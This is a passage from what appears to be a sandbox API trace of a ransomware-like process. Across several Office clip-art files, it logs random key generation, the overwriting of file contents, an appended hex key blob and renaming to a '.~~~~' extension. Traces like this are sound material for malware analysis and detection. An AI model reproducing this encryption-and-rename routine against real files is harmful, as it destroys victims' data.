	[0107.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807610 | out: hHeap=0x300000) returned 1
	[0107.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2827120
	[0107.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.403] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0107.404] GetLastError () returned 0x0
	[0107.404] GetLastError () returned 0x0
	[0107.404] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0107.404] GetLastError () returned 0x0
	[0107.404] GetLastError () returned 0x0
	[0107.407] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd182, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.408] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x2e7e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x2e7e, lpOverlapped=0x0) returned 1
	[0107.409] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0107.409] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.409] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.409] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.409] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.410] CloseHandle (hObject=0x138) returned 1
	[0107.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.410] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf.~~~~")) returned 1
	[0107.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.411] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0107.411] GetLastError () returned 0x0
	[0107.412] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0107.413] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.413] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.414] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0107.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0107.414] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22740390999) returned 1
	[0107.414] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa9af5c50, dwHighDateTime=0x1d60e1e)) 
	[0107.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0107.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0107.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0107.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807648
	[0107.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807648 | out: hHeap=0x300000) returned 1
	[0107.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2827250
	[0107.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.416] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0107.416] GetLastError () returned 0x0
	[0107.416] GetLastError () returned 0x0
	[0107.416] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0107.416] GetLastError () returned 0x0
	[0107.416] GetLastError () returned 0x0
	[0107.419] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffcda0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.419] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3260, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x3260, lpOverlapped=0x0) returned 1
	[0107.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0107.421] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.421] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.421] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.421] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.421] CloseHandle (hObject=0x138) returned 1
	[0107.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.422] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg.~~~~")) returned 1
	[0107.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0107.423] GetLastError () returned 0x0
	[0107.424] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0107.425] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.425] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0107.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0107.426] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22741575778) returned 1
	[0107.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa9b1bdb0, dwHighDateTime=0x1d60e1e)) 
	[0107.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0107.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0107.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0107.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2807680
	[0107.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807680 | out: hHeap=0x300000) returned 1
	[0107.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28272e8
	[0107.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.426] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0107.427] GetLastError () returned 0x0
	[0107.427] GetLastError () returned 0x0
	[0107.427] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0107.427] GetLastError () returned 0x0
	[0107.427] GetLastError () returned 0x0
	[0107.429] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd82c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.429] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x27d4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x27d4, lpOverlapped=0x0) returned 1
	[0107.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0107.446] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.446] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.446] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.446] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.446] CloseHandle (hObject=0x138) returned 1
	[0107.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0107.629] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg.~~~~")) returned 1
	[0107.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0107.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0107.636] GetLastError () returned 0x0
	[0107.637] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0107.638] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.638] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0107.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0107.639] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22762896664) returned 1
	[0107.639] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa9d310f0, dwHighDateTime=0x1d60e1e)) 
	[0107.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0107.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0107.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0107.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a66d8
	[0107.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a66d8 | out: hHeap=0x300000) returned 1
	[0107.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0107.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2827380
	[0107.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0107.640] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0107.640] GetLastError () returned 0x0
	[0107.641] GetLastError () returned 0x0
	[0107.641] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0107.641] GetLastError () returned 0x0
	[0107.641] GetLastError () returned 0x0
	[0107.646] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffb393, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.646] WriteFile (in: hFile=0x138, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x4c6d, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x1f8fec0*=0x4c6d, lpOverlapped=0x0) returned 1
	[0107.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0107.648] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.648] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.649] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.649] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.649] CloseHandle (hObject=0x138) returned 1
	[0107.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a3070
	[0107.649] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg.~~~~")) returned 1
	[0107.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a3070 | out: hHeap=0x300000) returned 1
	[0107.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0107.650] GetLastError () returned 0x0
	[0107.651] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0107.652] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.652] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0107.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0107.652] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22764222106) returned 1
	[0107.652] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa9d57250, dwHighDateTime=0x1d60e1e)) 
	[0107.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0107.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0107.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0107.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6710
	[0107.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6710 | out: hHeap=0x300000) returned 1
	[0107.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a3070
	[0107.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28274b0
	[0107.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a3070 | out: hHeap=0x300000) returned 1
	[0107.653] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0107.653] GetLastError () returned 0x0
	[0107.653] GetLastError () returned 0x0
	[0107.653] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0107.654] GetLastError () returned 0x0
	[0107.654] GetLastError () returned 0x0
	[0107.657] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffb528, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.657] WriteFile (in: hFile=0x138, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x4ad8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x1f8fec0*=0x4ad8, lpOverlapped=0x0) returned 1
	[0107.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0107.658] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.658] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.658] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.659] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.659] CloseHandle (hObject=0x138) returned 1
	[0107.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a3070
	[0107.659] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341447.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341447.jpg.~~~~")) returned 1
	[0107.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a3070 | out: hHeap=0x300000) returned 1
	[0107.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0107.660] GetLastError () returned 0x0
	[0107.661] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0107.662] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.662] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0107.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0107.662] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22765233437) returned 1
	[0107.662] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa9d57250, dwHighDateTime=0x1d60e1e)) 
	[0107.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
